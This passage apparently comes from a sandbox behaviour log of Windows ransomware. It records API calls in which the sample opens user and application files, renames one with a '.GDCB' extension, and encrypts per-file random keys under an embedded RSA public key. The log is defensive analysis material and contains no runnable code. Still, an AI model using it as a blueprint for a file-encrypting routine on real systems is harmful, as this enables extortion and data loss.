Data\\Application Data\\Microsoft\\Windows Sidebar\\settings.ini" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows sidebar\\settings.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0194.704] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0194.705] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0194.706] ReadFile (in: hFile=0x510, lpBuffer=0x61a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x61a0000*, lpNumberOfBytesRead=0x285d670*=0x50, lpOverlapped=0x0) returned 1 [0194.714] VirtualAlloc (lpAddress=0x0, dwSize=0x50, flAllocationType=0x3000, flProtect=0x4) returned 0x6050000 [0194.719] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\settings.ini" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows sidebar\\settings.ini"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\settings.ini.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows sidebar\\settings.ini.gdcb")) returned 1 [0194.773] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0194.774] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.775] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.775] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0194.775] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0194.775] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0194.776] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.777] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.777] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0194.777] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.778] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0194.780] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x508c6f8) returned 1 [0194.780] CryptGetKeyParam (in: hKey=0x508c6f8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0194.780] CryptEncrypt (in: hKey=0x508c6f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6020000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x6020000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0194.780] GetLastError () returned 0x0 [0194.780] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0194.780] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0194.782] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x508c138) returned 1 [0194.782] CryptGetKeyParam (in: hKey=0x508c138, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0194.782] CryptEncrypt (in: hKey=0x508c138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6030000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x6030000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0194.782] GetLastError () returned 0x0 [0194.782] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0194.782] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cache2\\index.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\cache2\\index.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0194.783] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0194.784] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.785] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.786] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0194.786] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.786] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0194.787] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.788] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.788] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0194.788] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.788] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0194.791] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508c778) returned 1 [0194.791] CryptGetKeyParam (in: hKey=0x508c778, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0194.791] CryptEncrypt (in: hKey=0x508c778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6040000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x6040000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0194.791] GetLastError () returned 0x0 [0194.791] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.791] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0194.793] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508c5f8) returned 1 [0194.793] CryptGetKeyParam (in: hKey=0x508c5f8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0194.793] CryptEncrypt (in: hKey=0x508c5f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6050000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x6050000*, pdwDataLen=0x285d120*=0x100) returned 1 [0194.793] GetLastError () returned 0x0 [0194.793] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.793] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\directoryLinks.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\directorylinks.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0194.813] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0194.814] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.815] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.815] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0194.815] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.815] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0194.816] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.817] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.817] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0194.817] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.817] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0194.819] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508c1f8) returned 1 [0194.819] CryptGetKeyParam (in: hKey=0x508c1f8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0194.819] CryptEncrypt (in: hKey=0x508c1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x61a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x61a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0194.819] GetLastError () returned 0x0 [0194.820] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.820] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0194.821] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508c3b8) returned 1 [0194.821] CryptGetKeyParam (in: hKey=0x508c3b8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0194.821] CryptEncrypt (in: hKey=0x508c3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x61b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x61b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0194.822] GetLastError () returned 0x0 [0194.822] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0194.822] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0194.997] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0194.999] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.999] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.999] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0194.999] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0195.000] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0195.001] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0195.001] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0195.001] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0195.001] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0195.002] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0195.004] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508c7b8) returned 1 [0195.004] CryptGetKeyParam (in: hKey=0x508c7b8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0195.004] CryptEncrypt (in: hKey=0x508c7b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x61c0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x61c0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0195.004] GetLastError () returned 0x0 [0195.004] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0195.004] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0195.006] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508c238) returned 1 [0195.006] CryptGetKeyParam (in: hKey=0x508c238, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0195.006] CryptEncrypt (in: hKey=0x508c238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x61d0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x61d0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0195.006] GetLastError () returned 0x0 [0195.006] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0195.006] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0195.154] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0195.155] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0195.156] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0195.156] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0195.156] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0195.156] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0195.157] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0195.158] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0195.158] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0195.158] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0195.158] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0195.160] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508c0f8) returned 1 [0195.161] CryptGetKeyParam (in: hKey=0x508c0f8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0195.161] CryptEncrypt (in: hKey=0x508c0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x61e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x61e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0195.161] GetLastError () returned 0x0 [0195.161] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0195.161] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0195.163] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508c178) returned 1 [0195.163] CryptGetKeyParam (in: hKey=0x508c178, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0195.163] CryptEncrypt (in: hKey=0x508c178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x61f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x61f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0195.163] GetLastError () returned 0x0 [0195.163] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0195.163] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.lockapp_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0195.312] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0195.313] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0195.314] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0195.314] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0195.314] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0195.314] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0195.315] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0195.316] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0195.316] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0195.316] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0195.316] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0195.318] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508c5b8) returned 1 [0195.319] CryptGetKeyParam (in: hKey=0x508c5b8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0195.319] CryptEncrypt (in: hKey=0x508c5b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6200000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6200000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0195.319] GetLastError () returned 0x0 [0195.319] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0195.319] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0195.320] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508c6b8) returned 1 [0195.321] CryptGetKeyParam (in: hKey=0x508c6b8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0195.321] CryptEncrypt (in: hKey=0x508c6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6210000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6210000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0195.321] GetLastError () returned 0x0 [0195.321] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0195.321] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.People_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.people_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0195.398] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0195.400] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0195.400] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0195.400] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0195.400] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0195.401] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0195.402] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0195.402] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0195.402] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0195.402] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0195.403] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0195.405] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508c7f8) returned 1 [0195.405] CryptGetKeyParam (in: hKey=0x508c7f8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0195.405] CryptEncrypt (in: hKey=0x508c7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6220000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6220000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0195.405] GetLastError () returned 0x0 [0195.405] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0195.405] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0195.407] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508c3f8) returned 1 [0195.407] CryptGetKeyParam (in: hKey=0x508c3f8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0195.407] CryptEncrypt (in: hKey=0x508c3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6230000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6230000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0195.407] GetLastError () returned 0x0 [0195.407] CryptReleaseContext (hProv=0x5c4e48, 